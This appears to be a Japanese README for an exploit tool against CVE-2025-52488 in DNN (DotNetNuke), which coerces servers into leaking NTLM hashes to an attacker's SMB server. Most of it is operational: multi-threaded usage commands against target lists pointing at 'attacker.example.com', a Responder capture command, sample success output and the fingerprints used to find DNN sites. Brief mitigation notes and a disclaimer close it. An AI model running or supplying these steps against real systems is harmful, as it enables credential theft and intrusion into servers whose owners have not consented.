DNN Unicode パス正規化 NTLM ハッシュ漏えいエクスプロイト (CVE-2025-52488)

概要

このエクスプロイトは、DNN (旧 DotNetNuke) バージョン 6.0.0 から 10.0.1 未満の脆弱性を標的とし、Unicode パス正規化攻撃を通じて攻撃者が NTLM ハッシュを漏えいさせることを可能にします。

脆弱性の詳細

• CVE ID: CVE-2025-52488
• 深刻度: 高 (CVSS 8.6)
• 影響を受けるバージョン: 6.0.0 から 10.0.1 未満
• 攻撃ベクトル: ネットワーク
• 認証: 不要

仕組み

このエクスプロイトは、Windows/.NET の癖と Unicode 正規化を悪用して、標的の DNN サーバーに攻撃者管理下のサーバーへの SMB リクエストを強制し、認証プロセス中に NTLM ハッシュを露出させる可能性があります。

前提条件

1. Python 3.7+
2. 必要なパッケージ (pip install -r requirements.txt でインストール)
3. NTLM ハッシュをキャプチャする SMB サーバー (例: Responder、Burp Collaborator)

使用方法

基本的な使用方法

python main.py targets.txt attacker.example.com

カスタムパラメータを使用する場合

python main.py targets.txt 192.168.1.100 -t 20 --timeout 15

引数

• targets: DNN ホストのリストを含むファイル (1行に1つ)
• smb_server: NTLM ハッシュをキャプチャする SMB サーバーのホスト名/IP
• -t, --threads: 同時実行スレッド数 (デフォルト: 10)
• --timeout: リクエストタイムアウト (秒) (デフォルト: 10)

ターゲットファイル形式

ターゲット URL を1行に1つずつ含むテキストファイルを作成します:

http://target1.example.com
https://target2.example.com:8080
target3.example.com

SMB サーバーのセットアップ

Responder などのツールを使用して NTLM ハッシュをキャプチャできます:

responder -I eth0 -wrf

または、帯域外検出に Burp Collaborator を使用します。

出力例

[2025-01-XX-XX:XX:XX] [INFO] 5 つのターゲットに対して DNN NTLM ハッシュ漏えいエクスプロイトを開始
[2025-01-XX-XX:XX:XX] [INFO] SMB サーバー: attacker.example.com
[2025-01-XX-XX:XX:XX] [SUCCESS] [target1.com] DNN インジケータが見つかりました: dnn_IsMobile
[2025-01-XX-XX:XX:XX] [SUCCESS] [target1.com] ファイルアップロードエンドポイントにアクセス可能
[2025-01-XX-XX:XX:XX] [SUCCESS] [target1.com] エクスプロイトペイロードが正常に送信されました
[2025-01-XX-XX:XX:XX] [INFO] [target1.com] 着信する NTLM 認証試行がないか SMB サーバーを確認してください

検出インジケータ

このエクスプロイトは、次の DNN インジケータを探します:

• dnn_IsMobile クッキー
• レスポンス内の dotnetnuke
• レスポンス内の dnnconnect
• レスポンス内の DNN Platform

緩和策

• DNN をバージョン 10.0.1 以降に更新する
• 外部サーバーへの SMB リクエストを防ぐためのネットワークレベルの制御を実装する
• 不審なファイルアップロード試行を監視する

免責事項

このツールは、教育および許可されたセキュリティテストの目的のみに使用されます。責任を持って、所有している、または明示的なテスト許可があるシステムでのみ使用してください。

参照

• CVE-2025-52488
• Assetnote Research